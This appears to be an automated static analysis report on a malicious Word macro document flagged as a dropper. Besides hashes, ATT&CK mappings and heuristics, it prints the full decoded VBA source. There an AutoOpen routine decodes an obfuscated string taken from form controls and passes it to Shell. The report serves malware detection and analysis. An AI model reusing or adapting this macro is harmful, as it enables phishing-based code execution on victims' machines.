Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b567614374adfab4…

MALICIOUS

Office (OLE)

67.0 KB Created: 2018-04-02 21:25:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 07f97f28aa52f6719309a9c74959440f SHA-1: 7e03847d1ba555e7f1c7579b6590d692a19aa66c SHA-256: b567614374adfab48b658bcf249109bdf17c8a032f314490ea7bd7540226dec6
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen macro, and a critical heuristic firing for a potential Shell call. The ClamAV detection name 'Doc.Dropper.Agent-6492934-0' strongly suggests a dropper functionality. The VBA script, though partially obfuscated, appears to be designed to execute commands or download further stages, indicated by the 'Destory' subroutine and the 'replaceStr' function which likely decodes and executes content. The document body's content, 'Secure Form', is a common lure for social engineering.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6492934-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6492934-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    wd = Form1.TextBox2.Tag
    If "" = wd Then Shell solo, Kolm
    Form1.TextBox2.Text = ""
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
    Destory
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3155 bytes
SHA-256: f639652f4379f520e10323670e26bb0a9c4261915c52310d58ccaa9da820608a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Destory
End Sub






Attribute VB_Name = "Module1"
Sub Destory()
Rem Form1 save
Dim sder As String
Dim ind As Integer
sder = replaceStr(90, zoloGang())
hernas = 0
End Sub


Function manbotar()
Dim jir As Integer
jir = 5 + 1
manbotar = jir - 1
jir = 1 + manbotar
End Function





Attribute VB_Name = "Module2"

Function replaceStr(Arg01, Winre)
Dim palacet As Integer
Dim silas As Integer
palacet = 0
Dim xon20() As Byte
Dim cuinasd As String
Dim zaxona() As Byte
xon20 = "a6S4" + "KR"
Dim kas3 As String
kas3 = xon20
Dim j1 As String
Dim maxe() As Byte
Dim xopova As Integer
Dim XrttacaI() As Byte
Dim I As Integer
I = 374
Dim Qapi2 As Integer
WSOP = Form1.DClick(xon20)
Dim ngwiL As String
xopova = 92 - Arg01
xopova = xopova - 1
Dim hzmould As String
j1 = Winre
cuinasd = ""
maxe = j1
hzmould = "Wgekise"
Qapi2 = Form1.DClick(maxe)
ngwiL = "Nirqc3"
cometome = palacet
For uD = cometome To Qapi2
charo = palacet
For zaLp1 = palacet To WSOP
If maxe(uD) = xon20(zaLp1) Then
charo = charo + palacet + 1
End If
Next
If cometome = charo Then
cuinasd = cuinasd + Form1.swingData(maxe(uD) - xopova)
End If
Next
replaceStr = cuinasd
With Form1
.TextBox1.Text = cuinasd
silas = xopova + I
silas = Len(cuinasd) - silas
If silas > 22 Then .Button01_Click
End With
End Function




Function zoloGang()
Dim rtr As String
rtr = Form1.ListBox1.Tag
Dim ni As Integer
ni = 1
With Form1
rtr = rtr + .TextBox1.Text + .TextBox2.Text
zoloGang = rtr
End With
ni = ni + 1
End Function



Attribute VB_Name = "Form1"
Attribute VB_Base = "0{0FB55710-D0B3-4448-B89D-C879855BF67D}{1CB5DCF3-ED9E-4FE5-ADFA-03174C433688}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Function DClick(nij)
zzpa = 0
DClick = zzpa + UBound(nij)
End Function

Private Sub com2_Click()
Form1.TextBox1.Text = "1"
End Sub

Private Sub CommandButton2_Click()
Form1.TextBox2.Text = "2"
End Sub

Private Sub but1_Click()

End Sub

Private Sub but2_Click()
Form1.TextBox1.Text = ""
End Sub

Private Sub Label1_Click()

End Sub

Private Sub ListBox1_Click()
Form1.TextBox2.Text = ""
End Sub

Private Sub TextBox1_Change()
Dim s As String
s = Form1.TextBox1.Text
For I = 0 To 60000
For J = 0 To 2
s = "" + s
Next J
Next I
Form1.TextBox2.Text = s
End Sub

Function swingData(masad)
Dim stio As Integer
stio = masad + 5
swingData = Chr$(stio - 5)
End Function

Private Sub TextBox2_Change()

End Sub

Sub Button01_Click()
Dim Im As Integer
Kolm = 0
Dim s As String
solo = Form1.TextBox2.Text + ""
wd = Form1.TextBox2.Tag
If "" = wd Then Shell solo, Kolm
Form1.TextBox2.Text = ""
End Sub